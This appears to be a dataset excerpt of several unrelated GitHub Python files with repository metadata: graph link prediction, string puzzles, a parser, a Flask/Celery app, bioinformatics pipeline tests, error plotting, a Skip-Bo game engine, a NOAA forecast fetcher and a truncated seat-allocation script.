else:\n log_c = -math.log2(cc_z)\n # end if\n s = 0\n neighbor_list = nx.neighbors(G,z)\n size = len(neighbor_list)\n for i in range(size):\n m = neighbor_list[i]\n for j in range(i+1,size):\n n = neighbor_list[j]\n if i!=j:\n s += (self_Connect_dict[(nodes_Degree_dict[m], nodes_Degree_dict[n])] - log_c)\n self_Conditional_dict[z] = alpha * s\n #print(self_Conditional_dict)\n \n sim_dict = {} # 存储相似度的字典\n ebunch = nx.non_edges(G)\n for x, y in ebunch:\n s = 0\n #(k_x, k_y) = pair(degree_list[x], degree_list[y])\n for z in nx.common_neighbors(G, x, y):\n s += self_Conditional_dict[z]\n sim_dict[(x, y)] = s - self_Connect_dict[(nodes_Degree_dict[x], nodes_Degree_dict[y])]\n #sim_dict[(y, x)] = s - self_Connect_dict[(nodes_Degree_dict[x], nodes_Degree_dict[y])]\n print(sim_dict)\n return sim_dict\n\n# =============================================================================\n# G = nx.Graph()\n# G.add_edge(1,2)\n# G.add_edge(1,3)\n# G.add_edge(1,4)\n# G.add_edge(2,4)\n# G.add_edge(2,5)\n# G.add_edge(5,6)\n# G.add_edge(5,7)\n# G.add_edge(6,7)\n# G.add_edge(6,8)\n# G.add_edge(7,8)\n# =============================================================================\nG = nx.read_weighted_edgelist('J:\\\\Python\\\\LinkPrediction\\\\test.edgelist')\nMI(G)\n","repo_name":"FiveKilogram/LinkPrediction","sub_path":"testWMI.py","file_name":"testWMI.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"11701232805","text":"def areIsomorphic(str1,str2):\n str1Map={}\n str2Map={}\n for i in range(len(str1)):\n c1,c2=str1[i],str2[i]\n if (((c1 in str1Map) and str1Map[c1]!=c2 ) or ((c2 in str1Map) and str2Map[c2]!=c1)):\n return False\n str1Map[c1]=c2\n str2Map[c2]=c1\n return True\n\n# def areIsomorphic(pattern,s):\n# str1Map={}\n# str2Map={}\n# s=s.split(\" \")\n# print(\n# for i in range(len(pattern)):\n# char1=pattern[i]\n# elem1=s[i]\n# if ( ((char1 in str1Map) and str1Map[char1]!=elem1) or ((elem1 in str2Map) and str2Map[elem1]!=char1) ):\n# return False\n# str1Map[char1]=elem1\n# str2Map[elem1]=char1\n# return True\n\nstr1=\"abba\"\nstr2=\"dog cat cat dog\"\nprint(areIsomorphic(str1,str2))","repo_name":"SoulCoder65/DSA-Sheet-By-Babbar","sub_path":"Strings/97.Isomorphic Strings.py","file_name":"97.Isomorphic Strings.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"18993414106","text":"import math\nfrom typing import Any, Callable\n\nfrom parser import DictParser, CharParser, FuncParser, KeyArgument\nfrom parser.base import BaseParser\nfrom std_parsers.common import spaces, var_name\n\nvariables = {\n 'hello': 'world!',\n 'pi': math.pi,\n}\n\n\ndef use_variables(key: str, base_parser: BaseParser) -> BaseParser:\n get_var_parser = DictParser(variables)\n\n def _set_var_func(*result, name: str, value: Any):\n get_var_parser.d[name] = value\n\n return value\n\n set_var_parser = FuncParser(\n KeyArgument('name', var_name) & spaces & CharParser('=') & spaces & KeyArgument('value', base_parser),\n _set_var_func)\n\n get_var_parser.d[key] = base_parser\n\n return get_var_parser | set_var_parser\n\n\ndef add_variable_op(base_parser: BaseParser, op_name: str,\n f: Callable[[Any, Any], Any]):\n _var_parser = DictParser(variables)\n\n def _set_op_func(*result, name: str, value: Any):\n _var_parser.d[name] = f(_var_parser.d[name], value)\n\n return value\n\n op_var_parser = FuncParser(\n KeyArgument('name', var_name) & spaces & CharParser.line(op_name) & spaces\n & KeyArgument('value', base_parser),\n _set_op_func)\n\n return op_var_parser\n","repo_name":"AzaubaevViktor/abstractly_lang","sub_path":"std_parsers/variable.py","file_name":"variable.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"th","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"6305905275","text":"import subprocess\n\nfrom dotenv import load_dotenv\n\nfrom project import create_app, ext_celery\n\nload_dotenv('.env')\n\napp = create_app()\ncelery = ext_celery.celery\n\n\n\n@app.route(\"/\")\ndef hello():\n return \"Hello, World!\"\n\n\n# Enable celery auto reloading\ndef run_worker():\n subprocess.call([\"celery\", \"-A\", \"app.celery\", \"worker\", \"--loglevel=info\"])\n\n\n@app.cli.command(\"celery_worker\")\ndef celery_worker():\n from watchgod import run_process\n\n run_process(\"./api\", run_worker)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True, use_reloader=True, host=\"0.0.0.0\")","repo_name":"blancadesal/toolforge-celery-redis-blueprint","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"21154511690","text":"from sbaas.analysis.analysis_stage00 import stage00_execute\nfrom sbaas.analysis.analysis_stage01_resequencing import stage01_resequencing_execute, stage01_resequencing_io\nfrom sbaas.analysis.analysis_stage02_resequencing import stage02_resequencing_execute, stage02_resequencing_io\nfrom sbaas.analysis.analysis_base.base_importData import base_importData\nfrom sbaas.models import *\n\ndef strain_lineages():\n strain_lineages_O = {\"evo04tpiAevo01\":{0:\"140401_0_OxicEvo04tpiAEcoliGlcM9_Broth-1\",1:\"140702_1_OxicEvo04tpiAEvo01J01EcoliGlcM9_Broth-1\",2:\"140702_3_OxicEvo04tpiAEvo01J03EcoliGlcM9_Broth-1\",3:\"140807_11_OxicEvo04tpiAEvo01EPEcoliGlcM9_Broth-1\"},\n \"evo04tpiAevo02\":{0:\"140401_0_OxicEvo04tpiAEcoliGlcM9_Broth-1\",1:\"140702_1_OxicEvo04tpiAEvo02J01EcoliGlcM9_Broth-1\",2:\"140702_3_OxicEvo04tpiAEvo02J03EcoliGlcM9_Broth-1\",3:\"140807_11_OxicEvo04tpiAEvo02EPEcoliGlcM9_Broth-1\"},\n \"evo04tpiAevo03\":{0:\"140401_0_OxicEvo04tpiAEcoliGlcM9_Broth-1\",1:\"140702_1_OxicEvo04tpiAEvo03J01EcoliGlcM9_Broth-1\",2:\"140702_3_OxicEvo04tpiAEvo03J03EcoliGlcM9_Broth-1\",3:\"140807_11_OxicEvo04tpiAEvo03EPEcoliGlcM9_Broth-1\"},\n \"evo04tpiAevo04\":{0:\"140401_0_OxicEvo04tpiAEcoliGlcM9_Broth-1\",1:\"140702_1_OxicEvo04tpiAEvo04J01EcoliGlcM9_Broth-1\",2:\"140702_3_OxicEvo04tpiAEvo04J03EcoliGlcM9_Broth-1\",3:\"140807_11_OxicEvo04tpiAEvo04EPEcoliGlcM9_Broth-1\"},\n };\n return strain_lineages_O;\ndef initial_final_pairs():\n initial_final_O = [\n \"140401_0_OxicEvo04tpiAEcoliGlcM9_Broth-1\",\"140807_11_OxicEvo04tpiAEvo01EPEcoliGlcM9_Broth-1\",\n \"140401_0_OxicEvo04tpiAEcoliGlcM9_Broth-1\",\"140807_11_OxicEvo04tpiAEvo02EPEcoliGlcM9_Broth-1\",\n \"140401_0_OxicEvo04tpiAEcoliGlcM9_Broth-1\",\"140807_11_OxicEvo04tpiAEvo03EPEcoliGlcM9_Broth-1\",\n \"140401_0_OxicEvo04tpiAEcoliGlcM9_Broth-1\",\"140807_11_OxicEvo04tpiAEvo04EPEcoliGlcM9_Broth-1\"];\n return initial_final_O;\ndef initial_final():\n initial_final_O = [\n \"140401_0_OxicEvo04tpiAEcoliGlcM9_Broth-1\",\"140807_11_OxicEvo04tpiAEvo01EPEcoliGlcM9_Broth-1\",\n \"140807_11_OxicEvo04tpiAEvo02EPEcoliGlcM9_Broth-1\",\n \"140807_11_OxicEvo04tpiAEvo03EPEcoliGlcM9_Broth-1\",\n \"140807_11_OxicEvo04tpiAEvo04EPEcoliGlcM9_Broth-1\"];\n return initial_final_O;\ndef reduce_groupNames():\n reduce_group_names_O = {\"evo04tpiAevoEP\":[\"140807_11_OxicEvo04tpiAEvo01EPEcoliGlcM9_Broth-1\",\n \"140807_11_OxicEvo04tpiAEvo02EPEcoliGlcM9_Broth-1\",\n \"140807_11_OxicEvo04tpiAEvo03EPEcoliGlcM9_Broth-1\",\n \"140807_11_OxicEvo04tpiAEvo04EPEcoliGlcM9_Broth-1\"]};\n return reduce_group_names_O;\n\ndef data_stage00(session):\n \n '''data import'''\n execute00 = stage00_execute(session);\n execute00.execute_makeExperimentFromSampleFile('data/tests/analysis_resequencing/140823_Resequencing_ALEsKOs01_sampleFile01.csv',0,[]);\n\ndef data_stage01(session):\n\n execute01 = stage01_resequencing_execute(session);\n #execute01.drop_dataStage01();\n execute01.initialize_dataStage01();\n\n '''data import'''\n io = stage01_resequencing_io(session);\n # import resequencing data from breseq\n iobase = base_importData();\n iobase.read_csv('data/tests/analysis_resequencing/140823_Resequencing_ALEsKOs01_fileList01.csv');\n fileList = iobase.data;\n # read in each data file\n for file in fileList:\n print('importing resequencing data for sample ' + file['sample_name'])\n io.import_resequencingData_add(file['filename'],file['experiment_id'],file['sample_name']);\n iobase.clear_data();\n\n '''data analysis'''\n execute01.reset_dataStage01_filtered('ALEsKOs01');\n execute01.execute_filterMutations_population('ALEsKOs01');\n execute01.reset_dataStage01_lineage('ALEsKOs01')\n execute01.execute_analyzeLineage_population('ALEsKOs01',\n strain_lineages());\n execute01.execute_annotateMutations_lineage('ALEsKOs01');\n execute01.reset_dataStage01_endpoints('ALEsKOs01')\n execute01.execute_analyzeEndpointReplicates_population('ALEsKOs01',\n {\"evo04tpiA\":[\"140807_11_OxicEvo04tpiAEvo01EPEcoliGlcM9_Broth-1\",\"140807_11_OxicEvo04tpiAEvo02EPEcoliGlcM9_Broth-1\",\n \"140807_11_OxicEvo04tpiAEvo03EPEcoliGlcM9_Broth-1\",\"140807_11_OxicEvo04tpiAEvo04EPEcoliGlcM9_Broth-1\"],\n });\n execute01.execute_annotateMutations_endpoints('ALEsKOs01');\n execute01.execute_annotateFilteredMutations('ALEsKOs01');\n\n '''data export'''\n mutation_id_base = ['MOB_insA-/-uspC_1977510',\n 'SNP_ylbE_547694',\n 'SNP_yifN_3957957',\n 'DEL_corA_3999668',\n 'MOB_tdk_1292255',\n 'SNP_rpoB_4182566',\n 'INS__4294403',\n 'DEL_pyrE-/-rph_3813882',\n 'SNP_wcaA_2130811']\n io.export_dataStage01ResequencingLineage_d3('ALEsKOs01',\n ['evo04tpiAevo01','evo04tpiAevo02','evo04tpiAevo03','evo04tpiAevo04'],\n filename='visualization/data/ALEsKOs01/resequencing/heatmap/tpiA.js',\n mutation_id_exclusion_list = mutation_id_base);\n\n io.export_dataStage01ResequencingMutationsAnnotated_d3('ALEsKOs01',\n strain_lineages(),\n mutation_id_exclusion_list = ['insA-/-uspC_MOB_1977510',\n 'ylbE_SNP_547694',\n 'yifN_SNP_3957957',\n 'corA_DEL_3999668',\n 'tdk_MOB_1292255',\n 'rpoB_SNP_4182566',\n '_INS_4294403',\n 'pyrE-/-rph_DEL_3813882',\n 'wcaA_SNP_2130811']);\n\ndef data_stage02(session):\n '''Note: Requires analysis_physiology'''\n\n ex02 = stage02_resequencing_execute(session);\n #ex02.drop_dataStage02();\n ex02.initialize_dataStage02();\n\n '''data import'''\n io02 = stage02_resequencing_io(session);\n\n '''data analysis'''\n ex02.reset_dataStage02('ALEsKOs01');\n ex02.execute_mapResequencingPhysiology_population('ALEsKOs01',sample_names_I=initial_final())\n ex02.reset_dataStage02_reduceResequencingPhysiology('ALEsKOs01')\n ex02.execute_reduceResequencingPhysiology_population('ALEsKOs01',reduce_groupNames())\n\n io02.export_dataStage02ResequencingLineage_d3('ALEsKOs01');\n\ndef run_all_tests():\n session = Session();\n print('testing data_stage00_resequencing...')\n data_stage00(session);\n print('testing data_stage01_resequencing...')\n data_stage01(session);\n print('testing data_stage02_resequencing...')\n data_stage02(session);","repo_name":"SBRG/sbaas","sub_path":"sbaas/tests/analysis_resequencing.py","file_name":"analysis_resequencing.py","file_ext":"py","file_size_in_byte":7087,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"22072925930","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nroot_dir = '../output/output_archive/'\ndata_dir = root_dir + '200124/'\n\ndata_dir = '../output/'\n# data_dir = '../output/archive/200203/'\n\noutput_dir = 'output_'\n# pred_dir = '/predict_200'\npred_dir = '/predict_500'\n# pred_dir = '/predict_500_fake'\n# pred_dir = '/predict_1000'\nsave_dir = data_dir\n\ndef get_index_depth(dirname, index=[], type_name='test', error='RMSE'):\n df = pd.read_csv(dirname + '/error_compare.txt')\n df = df[df['type']==type_name]\n if len(index) is not 0:\n df = df.loc[index]\n index = df['index'].astype(str).values\n depth = np.array(df['{} depth'.format(error)])\n mean_depth = np.mean(depth)\n depth = np.append(depth, mean_depth)\n index = np.append(index, 'Avg')\n return index, depth\n\ndef get_predict(dirname, index=[], type_name='test', error='RMSE'):\n df = pd.read_csv(dirname + '/error_compare.txt')\n df = df[df['type']==type_name]\n if len(index) is not 0:\n df = df.loc[index]\n predict = np.array(df['{} predict'.format(error)])\n mean_predict = np.mean(predict)\n predict = np.append(predict, mean_predict)\n return predict\n\ndef get_list_dir(list_compares, data_dir, output_dir, pred_dir):\n list_dir = []\n for dir_name in list_compares:\n list_dir.append(data_dir + output_dir + dir_name + pred_dir)\n return list_dir\n\ndef get_list_pred(list_dir):\n list_pred = []\n for directory in list_dir:\n pred = get_predict(directory)\n list_pred.append(pred)\n return list_pred\n\ndef gen_graph(label, depth, list_pred, list_compares, comp_name, type_name='test', save_dir='./', error='RMSE'):\n list_color = ['blue', 'orange', 'lightgreen', 'lightblue', 'red']\n list_bar = []\n list_legend = ['depth']\n list_legend.extend(list_compares)\n\n if comp_name is not '':\n comp_name = '_' + comp_name\n \n idx = np.array(range(len(label)))\n width = 0.8 / len(list_legend)\n\n plt.figure()\n list_bar.append(plt.bar(idx-width, depth, width=width, align='edge', tick_label=label, color=list_color[0]))\n for i, pred in enumerate(list_pred):\n list_bar.append(plt.bar(idx+width*i, pred, width=width, align='edge', tick_label=label, color=list_color[i+1]))\n plt.legend(list_bar, list_legend)\n plt.title('Error Comparison')\n # plt.title('No-fake data learning')\n plt.xlabel(type_name + ' data')\n # plt.xlabel('Fake test data')\n plt.ylabel('{} [m]'.format(error))\n plt.tick_params(labelsize=6)\n # plt.savefig(save_dir + 'errs_cmp{}_{}.pdf'.format(comp_name, type_name))\n plt.savefig(save_dir + 'errs_cmp{}_{}.pdf'.format(comp_name, error))\n\ndef compare_error(dir_name, error='RMSE'):\n # for type_name in ['train', 'test']:\n for type_name in ['test']:\n label, depth = get_index_depth(dir_name, type_name=type_name, error=error)\n pred = get_predict(dir_name, type_name=type_name, error=error)\n # gen_graph(label, depth, [pred], ['predict'], comp_name='', type_name=type_name, save_dir=dir_name)\n gen_graph(label, depth, [pred], ['predict'], comp_name=type_name, type_name=type_name, save_dir=dir_name, error=error)\n\ndef compare_errors(list_compares, comp_name='', data_dir=data_dir, output_dir=output_dir, pred_dir=pred_dir):\n list_dir = get_list_dir(list_compares, data_dir, output_dir, pred_dir)\n label, depth = get_index_depth(list_dir[0])\n list_pred = get_list_pred(list_dir)\n # comp_name += '_fake'\n gen_graph(label, depth, list_pred, list_compares, comp_name, save_dir=save_dir)\n\n\ndef main():\n # # # list_compares = ['unet_drop=0', 'unet_drop=5', 'unet_drop=10', 'unet_drop=20']\n # list_compares = ['unet_no-aug', 'unet_drop-5', 'unet_drop-10', 'unet_drop-20']\n # compare_errors(list_compares, 'unet_drops')\n # # list_compares = ['resnet_drop=0', 'resnet_drop=5', 'resnet_drop=10', 'resnet_drop=20']\n # list_compares = ['resnet_no-aug', 'resnet_drop-5', 'resnet_drop-10', 'resnet_drop-20']\n # compare_errors(list_compares, 'resnet_drops')\n # # list_compares = ['dense-resnet_drop=0', 'dense-resnet_drop=5', 'dense-resnet_drop=10', 'dense-resnet_drop=20']\n # list_compares = ['dense-resnet_no-aug', 'dense-resnet_drop-5', 'dense-resnet_drop-10', 'dense-resnet_drop-20']\n # compare_errors(list_compares, 'dense-resnet_drops')\n\n # list_compares = ['unet_no-aug', 'unet_aug-no-zoom', 'unet_aug']\n # compare_errors(list_compares, 'unet_augs')\n # list_compares = ['resnet_no-aug', 'resnet_aug-no-zoom', 'resnet_aug']\n # compare_errors(list_compares, 'resnet_augs')\n # list_compares = ['dense-resnet_no-aug', 'dense-resnet_aug-no-zoom', 'dense-resnet_aug']\n # compare_errors(list_compares, 'dense-resnet_augs')\n\n # list_compares = ['unet_drop=0', 'resnet_drop=0', 'dense-resnet_drop=0']\n # list_compares = ['unet_drop-5', 'resnet_drop-5', 'dense-resnet_drop-5']\n # compare_errors(list_compares, 'nets_drop-5')\n # list_compares = ['unet_drop-10', 'resnet_drop-10', 'dense-resnet_drop-10']\n # compare_errors(list_compares, 'nets_drop-10')\n # list_compares = ['unet_drop-20', 'resnet_drop-20', 'dense-resnet_drop-20']\n # compare_errors(list_compares, 'nets_drop-20')\n\n # list_compares = ['unet_no-aug', 'resnet_no-aug', 'dense-resnet_no-aug']\n # compare_errors(list_compares, 'nets_no-aug')\n # list_compares = ['unet_aug-no-zoom', 'resnet_aug-no-zoom', 'dense-resnet_aug-no-zoom']\n # compare_errors(list_compares, 'nets_aug-no-zoom')\n # list_compares = ['unet_aug', 'resnet_aug', 'dense-resnet_aug']\n # compare_errors(list_compares, 'nets_aug')\n\n\n list_compares = ['resnet_drop-5_no-aug', 'resnet_drop-5_aug-no-zoom', 'resnet_drop-5_aug']\n compare_errors(list_compares, 'resnet_drop-5_augs')\n\n\n # dir1 = root_dir + '200122/output_aug/predict_1000/'\n # dir2 = root_dir + '200123/output_aug/predict_1000/'\n # index=[44, 45, 46, 47]\n # label, depth = get_index_depth(dir1, index)\n # pred1 = get_predict(dir1, index)\n # pred2 = get_predict(dir2, index)\n # list_pred = [pred1, pred2]\n # gen_graph(label, depth, list_pred, ['fake data learn', 'no-fake data learn'], 'FakeLearn')\n\nif __name__ == '__main__':\n main()","repo_name":"TokiedaKodai/cnn-depth","sub_path":"compare_error.py","file_name":"compare_error.py","file_ext":"py","file_size_in_byte":6202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"34602574893","text":"import random\n\nfrom skipbo.game.card import Card\n\n\ndef validate_stack(stack):\n count = 1\n for card in reversed(stack):\n if card.actual_value != count:\n return False\n count += 1\n return True\n\n\nclass SkipBoGame:\n \"\"\"\n Play from:\n 0 = Skip-Bo stack\n 1-5 = Hand cards\n 6-9 = Player stacks\n Play to:\n 0-3 = Center stacks\n 4-7 = Player stacks\n \"\"\"\n\n def __init__(self):\n self.cards = []\n self.discarded = []\n self.player_skipbo_stacks = [[], []]\n self.player_hands = [[], []]\n self.player_stacks = [[[], [], [], []], [[], [], [], []]]\n self.center_stacks = [[], [], [], []]\n self.current_player = 0\n self.done = False\n\n # 0 is the skipbo card\n self.cards.extend([Card(0) for _ in range(18)])\n\n for i in range(1, 13):\n self.cards.extend([Card(i) for _ in range(12)])\n\n self.shuffle()\n\n for i in range(2):\n skipbo_stack = self.draw_cards(30)\n hand_cards = self.draw_cards(5)\n self.player_skipbo_stacks[i].extend(skipbo_stack)\n self.player_hands[i].extend(hand_cards)\n\n def draw_cards(self, nr):\n to_draw = min(nr, len(self.cards))\n drawn = self.cards[:nr]\n self.cards = self.cards[nr:]\n\n if len(self.cards) == 0:\n self.move_discarded_to_cards()\n remaining = nr - len(drawn)\n drawn.extend(self.cards[:remaining])\n self.cards = self.cards[remaining:]\n\n return drawn\n\n def move_discarded_to_cards(self):\n self.cards.extend(self.discarded)\n self.shuffle()\n self.discarded = []\n\n def shuffle(self):\n random.shuffle(self.cards)\n\n def get_available_actions(self, player):\n if self.current_player != player:\n return []\n else:\n available_actions = []\n for play_from in range(10):\n for play_to in range(8):\n if self.is_playable(player, play_from, play_to):\n available_actions.append((play_from, play_to))\n return available_actions\n\n def get_remaining_skipbo_cards(self, player):\n return len(self.player_skipbo_stacks[player])\n\n def is_playable(self, player, play_from, play_to):\n if self.current_player != player:\n return False\n elif play_from == 0:\n # Play from skipbo stack\n if play_to >= 4:\n # Can't play to player stacks\n return False\n else:\n # Play to center stacks\n card_to_play = self.__top_of_stack(self.player_skipbo_stacks[player])\n if card_to_play.card_type == 0:\n # Can always play skipbo card\n return True\n else:\n top_of_stack = self.__top_of_stack(self.center_stacks[play_to])\n if top_of_stack is None:\n return card_to_play.card_type == 1\n else:\n # print(f\"Card to play {card_to_play.card_type}. Top of stack {top_of_stack.actual_value}\")\n return card_to_play.card_type - 1 == top_of_stack.actual_value\n elif play_from < 6:\n # Play from hand\n index = play_from - 1\n card_to_play = self.player_hands[player][index]\n if card_to_play is None:\n return False\n elif play_to >= 4:\n return True\n elif play_to < 4:\n if card_to_play.card_type == 0:\n # Can always play skipbo card\n return True\n top_of_stack = self.__top_of_stack(self.center_stacks[play_to])\n if top_of_stack is None:\n return card_to_play.card_type == 1\n else:\n return card_to_play.card_type - 1 == top_of_stack.actual_value\n else:\n # Play from player stacks\n index = play_from - 6\n card_to_play = self.__top_of_stack(self.player_stacks[player][index])\n if card_to_play is None:\n return False\n elif play_to >= 4:\n # Can not play from player stacks to player stacks\n return False\n elif play_to < 4:\n if card_to_play.card_type == 0:\n # Can always play skipbo card\n return True\n top_of_stack = self.__top_of_stack(self.center_stacks[play_to])\n if top_of_stack is None:\n return card_to_play.card_type == 1\n else:\n return card_to_play.card_type - 1 == top_of_stack.actual_value\n\n return False\n\n def cards_in_game(self):\n cards = 0\n cards += len(self.cards)\n cards += len(self.discarded)\n cards += len(self.player_skipbo_stacks[0])\n cards += len(self.player_skipbo_stacks[1])\n cards += 1 if self.player_hands[0][0] is not None else 0\n cards += 1 if self.player_hands[0][1] is not None else 0\n cards += 1 if self.player_hands[0][2] is not None else 0\n cards += 1 if self.player_hands[0][3] is not None else 0\n cards += 1 if self.player_hands[0][4] is not None else 0\n cards += 1 if self.player_hands[1][0] is not None else 0\n cards += 1 if self.player_hands[1][1] is not None else 0\n cards += 1 if self.player_hands[1][2] is not None else 0\n cards += 1 if self.player_hands[1][3] is not None else 0\n cards += 1 if self.player_hands[1][4] is not None else 0\n cards += len(self.player_stacks[0][0])\n cards += len(self.player_stacks[0][1])\n cards += len(self.player_stacks[0][2])\n cards += len(self.player_stacks[0][3])\n cards += len(self.player_stacks[1][0])\n cards += len(self.player_stacks[1][1])\n cards += len(self.player_stacks[1][2])\n cards += len(self.player_stacks[1][3])\n cards += len(self.center_stacks[0])\n cards += len(self.center_stacks[1])\n cards += len(self.center_stacks[2])\n cards += len(self.center_stacks[3])\n return cards\n\n def __top_of_stack(self, stack):\n if len(stack) == 0:\n return None\n else:\n return stack[0]\n\n def __hand_is_empty(self, player):\n return self.player_hands[player].count(None) == 5\n\n def play_card(self, play_from, play_to):\n card = self.__take_card(play_from)\n self.put_card(card, play_to)\n if play_to >= 4:\n could_refill_hand = self.switch_turn()\n if not could_refill_hand:\n return False\n elif self.__hand_is_empty(self.current_player):\n could_refill_hand = self.refill_hand(self.current_player)\n if not could_refill_hand:\n return False\n return True\n\n def refill_hand(self, player):\n nr_of_new_cards = self.player_hands[player].count(None)\n new_cards = self.draw_cards(nr_of_new_cards)\n\n # Not enough cards remaining. Game is finished.\n if len(new_cards) < nr_of_new_cards:\n return False\n\n for index, card in enumerate(self.player_hands[player]):\n if card is None:\n self.player_hands[player][index] = new_cards.pop()\n\n return True\n\n def put_card(self, card, play_to):\n if play_to < 4:\n # play to center stacks\n played_card = card\n if card.card_type == 0:\n top_of_stack = self.__top_of_stack(self.center_stacks[play_to])\n if top_of_stack is None:\n played_card.actual_value = 1\n else:\n played_card.actual_value = top_of_stack.actual_value + 1\n\n if played_card.actual_value == 12:\n self.center_stacks[play_to].insert(0, played_card)\n if len(self.center_stacks[play_to]) < 12:\n print(f\"Discarded: {list(map(lambda x: self.__visualize_card(x), self.center_stacks[play_to]))}\")\n self.discarded.extend(self.center_stacks[play_to])\n self.center_stacks[play_to] = []\n else:\n self.center_stacks[play_to].insert(0, played_card)\n\n if not validate_stack(self.center_stacks[play_to]):\n print(f\"Invalid stack: {list(map(lambda x: self.__visualize_card(x), self.center_stacks[play_to]))}\")\n\n else:\n # play to player stacks\n index = play_to - 4\n self.player_stacks[self.current_player][index].insert(0, card)\n\n def switch_turn(self):\n self.current_player = 1 if self.current_player == 0 else 0\n return self.refill_hand(self.current_player)\n\n def __take_card(self, play_from):\n if play_from == 0:\n # play from skipbo stack\n return self.player_skipbo_stacks[self.current_player].pop(0)\n elif 1 <= play_from <= 5:\n # play from hand\n index = play_from - 1\n card = self.player_hands[self.current_player][index]\n self.player_hands[self.current_player][index] = None\n return card\n elif 6 <= play_from <= 9:\n # play from player stacks\n index = play_from - 6\n return self.player_stacks[self.current_player][index].pop(0)\n\n def __visualize_position(self, player, position):\n if player is None:\n # get from center stacks\n card = None\n if len(self.center_stacks[position]) > 0:\n card = self.center_stacks[position][0]\n return self.__visualize_card(card)\n else:\n if position == 0:\n # get from skipbo stack\n card = None\n if len(self.player_skipbo_stacks[player]) > 0:\n card = self.player_skipbo_stacks[player][0]\n return self.__visualize_card(card)\n elif 1 <= position <= 5:\n # get from hand\n index = position - 1\n card = self.player_hands[player][index]\n return self.__visualize_card(card)\n elif 6 <= position <= 9:\n # get from player stacks\n index = position - 6\n card = None\n if len(self.player_stacks[player][index]) > 0:\n card = self.player_stacks[player][index][0]\n return self.__visualize_card(card)\n\n def __visualize_card(self, card):\n if card is None:\n return 'xx'\n elif card.card_type == 0:\n return 'sb'\n else:\n return format(card.card_type, '02d')\n\n def visualize(self):\n print(\n f\"{self.__visualize_position(0, 0)} [{format(len(self.player_skipbo_stacks[0]), '2d')}] {self.__visualize_position(0, 1)} {self.__visualize_position(0, 2)} {self.__visualize_position(0, 3)} {self.__visualize_position(0, 4)} {self.__visualize_position(0, 5)}\")\n print(f\" {'<-- turn' if self.current_player == 0 else ''}\")\n print(\n f\" {self.__visualize_position(0, 6)} {self.__visualize_position(0, 7)} {self.__visualize_position(0, 8)} {self.__visualize_position(0, 9)}\")\n print(\"------------------------------\")\n print(\"\")\n print(\n f\" {self.__visualize_position(None, 0)} {self.__visualize_position(None, 1)} {self.__visualize_position(None, 2)} {self.__visualize_position(None, 3)}\")\n print(\"\")\n print(\"------------------------------\")\n print(\n f\" {self.__visualize_position(1, 6)} {self.__visualize_position(1, 7)} {self.__visualize_position(1, 8)} {self.__visualize_position(1, 9)}\")\n print(f\" {'<-- turn' if self.current_player == 1 else ''}\")\n print(\n f\"{self.__visualize_position(1, 0)} [{format(len(self.player_skipbo_stacks[1]), '2d')}] {self.__visualize_position(1, 1)} {self.__visualize_position(1, 2)} {self.__visualize_position(1, 3)} {self.__visualize_position(1, 4)} {self.__visualize_position(1, 5)}\")\n","repo_name":"wingedsheep/blog","sub_path":"skipbo/game/skipbo_game.py","file_name":"skipbo_game.py","file_ext":"py","file_size_in_byte":12282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"25087988220","text":"import datetime\nimport requests\n\nimport wxchal\nimport util\n\n\ndef qpf_to_inches(qpf: int) -> (float, float):\n if qpf == 0:\n return (0.0, 0.0)\n elif qpf == 1:\n return (0.01, 0.09)\n elif qpf == 2:\n return (0.1, 0.24)\n elif qpf == 3:\n return (0.25, 0.49)\n elif qpf == 4:\n return (0.5, 0.99)\n elif qpf == 5:\n return (1.0, 1.99)\n elif qpf == 6:\n return (2.00, float('inf'))\n\n\ndef get_forecast(forecast_time: datetime.datetime,\n station: str,\n model: str) -> wxchal.Forecast:\n MESONET_URL = 'https://mesonet.agron.iastate.edu/api/1/mos.json?'\n\n args = {'station': station.upper(),\n 'runtime': forecast_time.strftime('%Y-%m-%d %H:00Z'),\n 'model': model.upper()}\n\n args = '&'.join([k + '=' + v for k, v in args.items()])\n\n r = util.cached_get(MESONET_URL + args,\n datetime.timedelta(minutes=15)).json()\n\n fdate = forecast_time.date() + datetime.timedelta(days=1)\n\n wind = 0\n precip = (0.0, 0.0)\n\n for row in r['data']:\n ftime = datetime.datetime.strptime(row['ftime'],\n '%Y-%m-%dT%H:00:00.000Z')\n\n f_start = datetime.datetime(fdate.year, fdate.month, fdate.day, 6)\n f_stop = f_start + datetime.timedelta(days=1)\n\n correct_date = ftime >= f_start and ftime < f_stop\n\n if correct_date:\n if ftime.hour == 12:\n low = int(row['n_x'])\n if ftime.hour == 0:\n high = int(row['n_x'])\n wind = max(wind, int(row['wsp']))\n q = row['q06']\n if q is not None:\n inches = qpf_to_inches(int(q))\n precip = (precip[0] + inches[0], precip[1] + inches[1])\n\n forecast = wxchal.Forecast(fdate, high, low, wind, precip)\n\n return forecast\n","repo_name":"metalicjames/wx_web","sub_path":"noaa.py","file_name":"noaa.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"74349353188","text":"with open(\"input.txt\") as f:\n d = {}\n s = 0\n count = 0\n digits = set(\"1234567890\")\n for line in f:\n count += 1\n l = list(map(str,line.split()))\n name = \"\"\n for i in range(len(l)-1):\n name += l[i] + \" \"\n name = name[:len(name)-1]\n d[name] = int(l[-1])\n s += int(l[-1])\n s1 = 0\n l = []\n if s//450 != 0:\n for k in d.keys():\n l.append(((d[k]*450)%s, k))\n d[k] = (d[k]*450)//s\n s1 += d[k]\n l.sort(reverse=True)\n else:\n l = sorted([(d[k], k) for k in 